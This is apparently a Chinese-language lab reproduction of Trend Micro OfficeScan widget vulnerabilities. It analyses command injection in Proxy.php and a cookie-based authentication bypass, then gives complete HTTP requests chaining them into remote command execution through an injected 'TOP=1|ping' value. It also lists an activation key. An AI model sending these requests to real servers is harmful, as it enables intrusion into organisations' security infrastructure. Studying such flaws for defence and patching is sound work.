趋势科技产品Widgets模块多个漏洞复现

作者:znn

原文地址:https://secvul.com/topics/873.html


0x01 漏洞简介

多数趋势科技的产品都有管理网页的小部件(widget)。虽然使用 Java/.NET 编写的核心系统,但是这个小部件机制已经用PHP实现了。因此意味着趋势科技的产品中包含有PHP解释器。
widget框架有一个代理机制,其proxy_controller.php页面根据用户输入调用相关类来实现该功能,通过分析该功能发现存在多个漏洞,包括命令注入、私钥泄漏、Sqlite3未授权访问、SSRF和认证绕过。

0x02 漏洞分析

本次复现的是命令注入和认证绕过漏洞,命令注入需要认证的情况下才能实现,因此这两个漏洞结合才能实现远程代码执行。
2.1 环境搭建
趋势产品:防毒墙-网络版(OfficeScan) 11.0 Build: 1744.00 (http://downloadcenter.trendmicro.com/index.php?regs=CH&clk=latest&clkval=4661&lang_loc=15)
操作系统:Windows10
官网下载OfficeScan最新版本(未打补丁),安装前需要开启Windows的IIS服务,不然会一直出错。
激活码:OS-5LCX-EAZPE-9UZVU-QGZMF-N765A-LRJNF
激活提示错误不管,可以正常安装使用。安装完成后默认WEB控制台如下:
http://127.0.0.1:8080/officescan/console/html/cgi/cgiChkMasterPwd.exe
https://127.0.0.1:4343/officescan/console/html/cgi/cgiChkMasterPwd.exe
2.2 命令注入
首先来看Trend Micro\OfficeScan\PCCSRV\Web_OSCE\Web_console\HTML\widget\repository\widgets_new\proxy\modTMCSS\Proxy.php文件代码:

 public function proxy_exec() 
{
 // localhost, directly launch report.php
 if ($this->cgiArgs['serverid'] == '1')
 {
 if($this->cgiArgs['type'] == "WR"){
 $cmd = "php ../php/lwcs_report.php ";
 $this->AddParam($cmd, "t");
 $this->AddParam($cmd, "tr");
 $this->AddParam($cmd, "ds");
 $this->AddParam($cmd, "m");
 $this->AddParam($cmd, "C");
 exec($cmd, $this->m_output, $error);
 if ($error != 0)
 {
 $this->errCode = WF_PROXY_ERR_EXEC_OTHERS;
 $this->errMessage = "exec lwcs_report.php failed. err = $error";
 }
 }
 else{ 
 $cmd = "php ../php/report.php ";
 $this->AddParam($cmd, "T");
 $this->AddParam($cmd, "D");
 $this->AddParam($cmd, "IP");
 $this->AddParam($cmd, "M");
 $this->AddParam($cmd, "TOP");
 $this->AddParam($cmd, "C");
 $this->AddParam($cmd, "CONSOLE_LANG");
 exec($cmd, $this->m_output, $error);
 if ($error != 0)
 {
 $this->errCode = WF_PROXY_ERR_EXEC_OTHERS;
 $this->errMessage = "exec report.php failed. err = $error";
 }
 }
 }
private function AddParam(&$cmd, $param)
{
 if (isset($this->cgiArgs[$param]))
 {
 $cmd = $cmd.$param."=".$this->cgiArgs[$param]." ";
 }
}

可以很直观看到cgiArgs[]处内容被带入了exec()函数被执行,执行代码类似exec(“php ../php/lwcs_report.php t=xx tr=xx…”).
此处需要控制传入的参数即可,再来看\Trend Micro\OfficeScan\PCCSRV\Web_OSCE\Web_console\HTML\widget\proxy_controller文件:

if(!isset($g_GetPost)){
 $g_GetPost = array_merge($_GET,$_POST);
}else{
 $g_GetPost = array_merge($g_GetPost,$_GET,$_POST);
}
//...
$myproxy_file = $strProxyDir . "/" . $server_module . "/Proxy.php";
//null byte injection prevents
if( is_string( $myproxy_file ) ) {
 $myproxy_file = str_replace( "\0", '', $myproxy_file );
}
 
// does file exist?
if(file_exists($myproxy_file)){
 include ($myproxy_file);
}else{
 proxy_error(WF_PROXY_ERR_INIT_INVALID_MODULE, WF_PROXY_ERR_INIT_INVALID_MODULE_MSG);
}
// does class exist?
if(! class_exists("WFProxy")){
 proxy_error(WF_PROXY_ERR_INIT_MODULE_ERROR, WF_PROXY_ERR_INIT_MODULE_ERROR_MSG);
}
// ... CODE OMIT ...
$request = new WFProxy($g_GetPost, $wfconf_dbconfig);
$request->proxy_exec();
$request->proxy_output();

以上代码将$_GET,$_POST合并成$g_GetPost,并将其传入$myproxy_file,即我们所选的Trend Micro\OfficeScan\PCCSRV\Web_OSCE\Web_console\HTML\widget\repository\widgets_new\proxy\modTMCSS\Proxy.php文件。(其实这里可以选择多个WFProxy类,在Trend Micro\OfficeScan\PCCSRV\Web_OSCE\Web_console\HTML\widget\repository\widgets_new\peoxy下可以看到多个WFProxy类的定义。),到此,我们只需要对proxy_controller.php的$_POST进行操作,即可传入所调用的WFProxy类并执行exec(“php ../php/lwcs_report.php t=$_POST[p1],tr=$_POST[p2]…”),从而实现了命令注入。
通过代码require_once (dirname(__FILE__) . “/inc/session_auth.php”);可以看到该页面需要认证,未认证情况下无法实现命令注入,因此还需要下面认证绕过的漏洞来实现。
2.2 认证绕过
查看认证页面/officescan/console/html/widget/ui/modLogin/talker.php代码发现认证调用standalone_user_init()函数,部分代码如下:

public function standalone_user_init(){
 mydebug_log("[WFUSER] standalone_user_init()");
 if(isset($_COOKIE['userID'])){
 return $this->recover_session_byuid($_COOKIE['userID']);
 }
 mydebug_log("[WFUSER] standalone_user_init(): cookie userID isn't set");
 return false;
}
public function recover_session_byuid($uid){
 mydebug_log("[WFUSER] recover_session_byuid() " . $uid);
 if(false == $this->loaduser_byuid($uid)){
 mydebug_log("[WFUSER] recover_session_byuid() failed");
 return false;
 }
 return $this->recover_session();
}
public function loaduser_byuid($uid){
 mydebug_log("[WFUSER] loaduser_byuid() " . $uid);
 // load user
 $uinfolist = $this->userdb->get_users($uid);
 if($this->userdb->isFailed()){
 return false;
 }
 // no exists
 if(! isset($uinfolist[0])){
 return false;
 }
 // get userinfo
 $this->userinfo = $uinfolist[0];
 return true;
}
public function get_users($uid = null){
 // specify uid
 $work_uid = $this->valid_uid($uid);
 if($work_uid == null){
 return;
 }
 // query string
 $sqlstring = 'SELECT * from ' . $this->users_table . ' WHERE id = :uid';
 $sqlvalues[':uid'] = $work_uid;
 return $this->runSQL($sqlstring, $sqlvalues, "Get " . $this->users_table . " failed", 1);
}

可以看到此处认证过程中仅验证用户id或用户名,并未去校验CSRFToken和hash字段。

0x03 漏洞利用

3.1 认证绕过
首先访问如下请求获取返回头中Set-Cookie值

GET /officescan/console/html/widget/index.php HTTP/1.1
Host: 10.211.55.18:8080

通过上述分析,构造如下HTTP请求:

POST /officescan/console/html/widget/ui/modLogin/talker.php HTTP/1.1
Host: 10.211.55.18:8080
Cookie: LogonUser=root; userID=1; PHPSESSID=51krh5n4d80npijguclead4fc6;
X-CSRFToken: 51krh5n4d80npijguclead4fc6
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Connection: close
cid=1&act=check&hash=1&pid=1

其中X-CSRFToken和PHPSESSID为上步Set-Cookie值,查看响应包可以看到成功认证,包含”message”:”login successfully”内容。
3.2 命令注入
将上步通过认证的X-CSRFToken和Cookie带入包含命令注入的HTTP请求中,如下:

POST /officescan/console/html/widget/proxy_controller.php HTTP/1.1
Host: 10.211.55.18:8080
Cookie: LANG=en_US; LogonUser=root; userID=1; PHPSESSID=51krh5n4d80npijguclead4fc6;
X-CSRFToken: 51krh5n4d80npijguclead4fc6
Content-Type: application/x-www-form-urlencoded
Content-Length: 54
module=modTMCSS&serverid=1&TOP=1|ping 10.211.55.2

在10.211.55.2上执行tcpdump icmp接收icmp包验证执行情况,可以看到
命令成功执行:
《趋势科技产品Widgets模块多个漏洞复现》3.3 Metasploit脚本
Metasploit 已经集成该漏洞EXP,路径为exploit/windows/http/trendmicro_officescan_widget_exec,直接调用如下:
《趋势科技产品Widgets模块多个漏洞复现》